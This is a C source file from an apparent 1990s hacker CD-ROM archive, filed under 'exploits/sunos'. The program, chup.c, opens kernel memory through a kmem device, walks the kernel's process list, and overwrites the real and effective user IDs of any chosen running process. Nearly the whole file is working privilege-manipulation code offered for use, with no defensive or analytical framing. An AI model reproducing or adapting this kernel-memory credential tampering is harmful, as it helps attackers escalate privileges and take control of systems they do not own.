home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-ch~1.asc next >
Encoding:
Text File  |  1997-03-11  |  4.4 KB  |  166 lines

  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7. /*
  8.  
  9.  * chup.c - change uid of a running process.
  10.  
  11.  * Should work on any 4.2/4.3BSD based kernel.
  12.  
  13.  * Written by Avalon (avalon@coombs.anu.edu.au), 22/12/93.
  14.  
  15.  
  16.  
  17.  Ported to SunOS by x0d, me thinks. 
  18.  
  19.  */
  20.  
  21.  
  22.  
  23. #include <stdio.h>
  24.  
  25. #include <sys/types.h>
  26.  
  27. #include <unistd.h>
  28.  
  29. #include <sys/param.h>
  30.  
  31. #define KERNEL
  32.  
  33. #include <sys/file.h>
  34.  
  35. #undef KERNEL
  36.  
  37. #include <nlist.h>
  38.  
  39. #include <sys/types.h>
  40.  
  41. #include <sys/user.h>
  42.  
  43. #include <sys/proc.h>
  44.  
  45. #include <sys/ucred.h>
  46.  
  47. /* #include <sys/processflags.h> /**/
  48.  
  49.  
  50.  
  51. #ifndef offsetof
  52.  
  53. #define offsetof(t,m) (int)((&((t *)0L)->m))
  54.  
  55. #endif
  56.  
  57.  
  58.  
  59. #define DEVKMEM "/home/new-kmem"
  60.  
  61.  
  62.  
  63. struct  nlist   names[] = {
  64.  
  65.     { "_allproc", 0, 0, 0, 0},
  66.  
  67.     { (char *)NULL, 0, 0, 0, 0 }
  68.  
  69. };
  70.  
  71.  
  72.  
  73. static  int     kfd = -1, pid = -1, uid = -1, euid = -1, debug = 0;
  74.  
  75.  
  76.  
  77. void    fatal(status, msg)
  78.  
  79. int     status;
  80.  
  81. char    *msg;
  82.  
  83. {
  84.  
  85.     perror(msg);
  86.  
  87.     exit(status);
  88.  
  89. }
  90.  
  91.  
  92.  
  93. static  int     lock_on() {
  94.  
  95.     return 0;
  96.  
  97. }
  98.  
  99.  
  100.  
  101. static  int     lock_off() {
  102.  
  103.     return 0;
  104.  
  105. }
  106.  
  107.  
  108.  
  109. int     kopen() {
  110.  
  111.     return (kfd = open(DEVKMEM, O_RDWR));
  112.  
  113. }
  114.  
  115.  
  116.  
  117. void    kread(buf, pos, n)
  118.  
  119. char    *buf;
  120.  
  121. off_t   pos;
  122.  
  123. int     n;
  124.  
  125. {
  126.  
  127.     if (!n) return;
  128.  
  129.     if (debug) printf("read %d @%#x to %#x on %d\n", n, pos, buf, kfd);
  130.  
  131.     if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(r)lseek");
  132.  
  133.     if (read(kfd, buf, n) != n) fatal(-1, "kread");
  134.  
  135. }
  136.  
  137.  
  138.  
  139. int     kwrite(buf, pos, size)
  140.  
  141. char    *buf;
  142.  
  143. u_long  pos, size;
  144.  
  145. {
  146.  
  147.     if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(w)lseek");
  148.  
  149.     if (debug) printf("write %d to %#x from %#x on %d\n", size, pos, buf, kfd);
  150.  
  151.     if (write(kfd, buf, size) == -1) fatal(-1, "kwrite");
  152.  
  153.     return 0;
  154.  
  155. }
  156.  
  157.  
  158.  
  159. int     change_proc() {
  160.  
  161.     register int    i;
  162.  
  163.     int     np;
  164.  
  165.     struct proc    p,*next;
  166.  
  167.     struct ucred ucr;
  168.  
  169.  
  170.  
  171.     if (nlist("/vmunix", names) == -1) fatal(-1, "nlist");
  172.  
  173.     if (kopen() == -1) fatal(-1, DEVKMEM);
  174.  
  175.     if (lock_on() == -1) return -1; 
  176.  
  177.     if(names[0].n_value ==0) fatal(-1, "no allproc"); 
  178.  
  179.     kill(pid, SIGSTOP);
  180.  
  181.     kread((char *)&next, names[0].n_value, sizeof(struct proc *)); 
  182.  
  183.     /* walk the linked list */
  184.  
  185.     for (i = 0; next; i++) {
  186.  
  187.         kread((char *)&p, (char *)next, sizeof(p));
  188.  
  189.         next = p.p_nxt; 
  190.  
  191.         if (p.p_pid == pid) {
  192.  
  193.             if(!p.p_cred) fatal(-1, "no credentials with this process!");
  194.  
  195.             kread((char *)&ucr, (char *)p.p_cred, sizeof(ucr));
  196.  
  197.             printf("%d %d (uid %d, suid %d) uid %d euid %d\n",
  198.  
  199.                    i, p.p_pid, p.p_uid, p.p_suid, ucr.cr_ruid,ucr.cr_uid); 
  200.  
  201.             if (uid != -1) {
  202.  
  203.               ucr.cr_ruid = uid;
  204.  
  205.               kwrite((char *)&ucr + offsetof(struct ucred, cr_ruid),
  206.  
  207.                    (char *)p.p_cred + offsetof(struct ucred, cr_ruid),
  208.  
  209.                 sizeof(ucr.cr_ruid));
  210.  
  211.             } 
  212.  
  213.             if(euid != -1) {
  214.  
  215.                ucr.cr_uid = euid;
  216.  
  217.                kwrite((char *)&ucr + offsetof(struct ucred, cr_uid),
  218.  
  219.                   (char *)p.p_cred + offsetof(struct ucred, cr_uid),
  220.  
  221.                   sizeof(ucr.cr_uid));
  222.  
  223.             }
  224.  
  225.             printf("set to %d %d\n", uid, euid);
  226.  
  227.             break;
  228.  
  229.         } 
  230.  
  231.     } 
  232.  
  233.     kill(pid, SIGCONT); 
  234.  
  235.     if (!next) (void) fprintf(stderr, "process %d not found\n", pid);
  236.  
  237.     /* we're not going through that again :)
  238.  
  239.     else {
  240.  
  241.         kread((char *)p, (char *)pt + i * sizeof(*p), sizeof(*p));
  242.  
  243.         kread((char *)&pcr, (char *)p->p_cred, sizeof(pcr));
  244.  
  245.         if(pcr.pc_ucred != NOCRED) kread((char *)&ucr, (char *)pcr.pc_ucred, sizeof(ucr));
  246.  
  247.         (void) printf("%d %d uid %d euid %d\n", i, p->p_pid, pcr.p_ruid,
  248.  
  249.             (pcr.pc_ucred!=NOCRED)? ucr.cr_uid : pcr.p_ruid);
  250.  
  251.     }
  252.  
  253.     */
  254.  
  255.     lock_off();
  256.  
  257. }
  258.  
  259.  
  260.  
  261. void    printusage(name)
  262.  
  263. char    *name;
  264.  
  265. {
  266.  
  267.     (void) fprintf(stderr, "usage:\n%s <pid> [uid [euid]]\n", name);
  268.  
  269. }
  270.  
  271.  
  272.  
  273. int     do_args(argc, argv)
  274.  
  275. int     argc;
  276.  
  277. char    *argv[];
  278.  
  279. {
  280.  
  281.     if (argv[1] && !strcmp(argv[1], "-d")) argv++, argc--, debug = 1; 
  282.  
  283.     if (argc == 1) {
  284.  
  285.         printusage(argv[0]);
  286.  
  287.         return -1;
  288.  
  289.     } 
  290.  
  291.     if (kill(pid = atoi(argv[1]), 0) == -1) {
  292.  
  293.         perror(argv[0]);
  294.  
  295.         return -1;
  296.  
  297.     } 
  298.  
  299.     if (argc > 2) {
  300.  
  301.         uid = atoi(argv[2]);
  302.  
  303.         if (argc > 3) euid = atoi(argv[3]);
  304.  
  305.     } 
  306.  
  307.     return 0;
  308.  
  309. }
  310.  
  311.  
  312.  
  313. main(argc, argv)
  314.  
  315. int     argc;
  316.  
  317. char    *argv[];
  318.  
  319. {
  320.  
  321.     if (do_args(argc, argv)) exit(1);
  322.  
  323.     return change_proc();
  324.  
  325. }
  326.  
  327.  
  328.  
  329.  
  330.  
  331.